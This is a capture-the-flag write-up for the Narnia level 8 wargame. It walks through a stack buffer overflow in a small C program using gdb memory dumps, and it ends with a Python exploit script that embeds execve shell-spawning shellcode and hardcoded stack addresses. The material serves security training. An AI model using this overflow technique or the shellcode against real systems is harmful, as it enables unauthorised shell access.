Writeup

narnia8.c content:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
// gcc's variable reordering fucked things up
// to keep the level in its old style i am
// making "i" global until i find a fix
// -morla
int i;

void func(char *b){
        char *blah=b;
        char bok[20];
        //int i=0;

        memset(bok, '\0', sizeof(bok));
        for(i=0; blah[i] != '\0'; i++)
                bok[i]=blah[i];

        printf("%s\n",bok);
}

int main(int argc, char **argv){

        if(argc > 1)
                func(argv[1]);
        else
        printf("%s argument\n", argv[0]);

        return 0;
}

What’s the deadliest bug here?

Let’s see what the func do. We have a bok[20] , and *blah which is a pointer to argv[1]. Then we copy from blah[i] to bok[i] until blah is != 0. What could be wrong?

Well, if the size ok argv[1] is bigger than 20 we have a buffer overflow, but as we will see it will not be so simple to exploit this vulnerability. Let’s try the basics.

narnia8@narnia:/narnia$ ./narnia8 $(python -c 'print "a"*19')
aaaaaaaaaaaaaaaaaaa
narnia8@narnia:/narnia$ ./narnia8 $(python -c 'print "a"*22')
aaaaaaaaaaaaaaaaaaaaa������������
narnia8@narnia:/narnia$ ./narnia8 $(python -c 'print "a"*25')
aaaaaaaaaaaaaaaaaaaaa������������
narnia8@narnia:/narnia$ ./narnia8 $(python -c 'print "a"*21')
aaaaaaaaaaaaaaaaaaaaa������������
narnia8@narnia:/narnia$ ./narnia8 $(python -c 'print "a"*20')
aaaaaaaaaaaaaaaaaaaa�������������
narnia8@narnia:/narnia$ ./narnia8 $(python -c 'print "a"*19')
aaaaaaaaaaaaaaaaaaa
narnia8@narnia:/narnia$ ./narnia8 $(python -c 'print "a"*80')
aaaaaaaaaaaaaaaaaaaaaa�������j���

We have unprintable characters, but why? Let’s debug with gdb :D

(gdb) source /usr/local/pwndbg/gdbinit.py 
pwndbg: loaded 175 commands. Type pwndbg [filter] for a list.
pwndbg: created $rebase, $ida gdb functions (can be used with print/break)
pwndbg> disass func
Dump of assembler code for function func:
   0x0804841b <+0>:     push   ebp
   0x0804841c <+1>:     mov    ebp,esp
   0x0804841e <+3>:     sub    esp,0x18
   0x08048421 <+6>:     mov    eax,DWORD PTR [ebp+0x8]
   0x08048424 <+9>:     mov    DWORD PTR [ebp-0x4],eax
   0x08048427 <+12>:    push   0x14
   0x08048429 <+14>:    push   0x0
   0x0804842b <+16>:    lea    eax,[ebp-0x18]
   0x0804842e <+19>:    push   eax
   0x0804842f <+20>:    call   0x8048300 <memset@plt>
   0x08048434 <+25>:    add    esp,0xc
   0x08048437 <+28>:    mov    DWORD PTR ds:0x80497b0,0x0
   0x08048441 <+38>:    jmp    0x8048469 <func+78>
   0x08048443 <+40>:    mov    eax,ds:0x80497b0
   0x08048448 <+45>:    mov    edx,DWORD PTR ds:0x80497b0
   0x0804844e <+51>:    mov    ecx,edx
   0x08048450 <+53>:    mov    edx,DWORD PTR [ebp-0x4]
   0x08048453 <+56>:    add    edx,ecx
   0x08048455 <+58>:    movzx  edx,BYTE PTR [edx]
   0x08048458 <+61>:    mov    BYTE PTR [ebp+eax*1-0x18],dl
   0x0804845c <+65>:    mov    eax,ds:0x80497b0
   0x08048461 <+70>:    add    eax,0x1
   0x08048464 <+73>:    mov    ds:0x80497b0,eax
   0x08048469 <+78>:    mov    eax,ds:0x80497b0
   0x0804846e <+83>:    mov    edx,eax
   0x08048470 <+85>:    mov    eax,DWORD PTR [ebp-0x4]
   0x08048473 <+88>:    add    eax,edx
   0x08048475 <+90>:    movzx  eax,BYTE PTR [eax]
   0x08048478 <+93>:    test   al,al
   0x0804847a <+95>:    jne    0x8048443 <func+40>
   0x0804847c <+97>:    lea    eax,[ebp-0x18]
   0x0804847f <+100>:   push   eax
   0x08048480 <+101>:   push   0x8048550
   0x08048485 <+106>:   call   0x80482e0 <printf@plt>
   0x0804848a <+111>:   add    esp,0x8
   0x0804848d <+114>:   nop
   0x0804848e <+115>:   leave  
   0x0804848f <+116>:   ret    
End of assembler dump.
pwndbg> b *0x08048478
pwndbg> r $(python -c 'print "a" * 25')

This is how the stack looks like after the first iteration of the for

pwndbg> x/20x $esp
0xffffd684:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffd694:     0x00000000      0xffffd884      0xffffd6a8      0x080484a7
0xffffd6a4:     0xffffd884      0x00000000      0xf7e2a286      0x00000002
0xffffd6b4:     0xffffd744      0xffffd750      0x00000000      0x00000000
0xffffd6c4:     0x00000000      0xf7fc5000      0xf7ffdc0c      0xf7ffd000

and this is the stack after 20 iterations

pwndbg> x/20x $esp
0xffffd684:     0x61616161      0x61616161      0x61616161      0x61616161
0xffffd694:     0x61616161      0xffffd884      0xffffd6a8      0x080484a7
0xffffd6a4:     0xffffd884      0x00000000      0xf7e2a286      0x00000002
0xffffd6b4:     0xffffd744      0xffffd750      0x00000000      0x00000000
0xffffd6c4:     0x00000000      0xf7fc5000      0xf7ffdc0c      0xf7ffd000

but what’s on 0xffffd884

pwndbg> x/20x 0xffffd884
0xffffd884:     0x61616161      0x61616161      0x61616161      0x61616161
0xffffd894:     0x61616161      0x61616161      0x434c0061      0x4c4c415f
0xffffd8a4:     0x5f6e653d      0x552e5355      0x382d4654      0x5f534c00
0xffffd8b4:     0x4f4c4f43      0x723d5352      0x3a303d73      0x303d6964
0xffffd8c4:     0x34333b31      0x3d6e6c3a      0x333b3130      0x686d3a36

It’s our argv[1], in fact if we continue of another step the for we will overwrite the address of argv[1] with a 61.

pwndbg> x/20x $esp
0xffffd684:     0x61616161      0x61616161      0x61616161      0x61616161
0xffffd694:     0x61616161      0xffffd861      0xffffd6a8      0x080484a7
0xffffd6a4:     0xffffd884      0x00000000      0xf7e2a286      0x00000002
0xffffd6b4:     0xffffd744      0xffffd750      0x00000000      0x00000000
0xffffd6c4:     0x00000000      0xf7fc5000      0xf7ffdc0c      0xf7ffd000

But now because the address of blah is changed, we will not take copy the value 0xffffd884[21] but we will copy 0xffffd861[21]. In the next step it will become 0xfff6161[22] and so on. But we will stop when we will reach an address that is not present in memory or has \x00 as value.

To exploit and gain a shell we can –>

  1. print "a" * 20 (garbage)
  2. print the address of argv[1] (In this way we will not modify the pointer of blah)
  3. print "b" * 4 (garbage)
  4. print return address to argv[1][20+4+4+4]
  5. print shellcode

Exploit

import subprocess
import struct

garbage_0 = 'a' * 20
#print (buffer_address, 'a')
garbage_1 = 'b' * 4 
shellcode = '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80'
buffer_address = struct.pack('I',0xffffd789 - 37) # '\x89\xd7\xff\xff'
return_address = struct.pack('I',0xffffd789 - 37 + 32)
argument = garbage_0 + buffer_address + garbage_1 + return_address + shellcode

#output = subprocess.check_output(['/narnia/narnia8 ' + argument], shell = True)

print(argument)
#print(argument, output)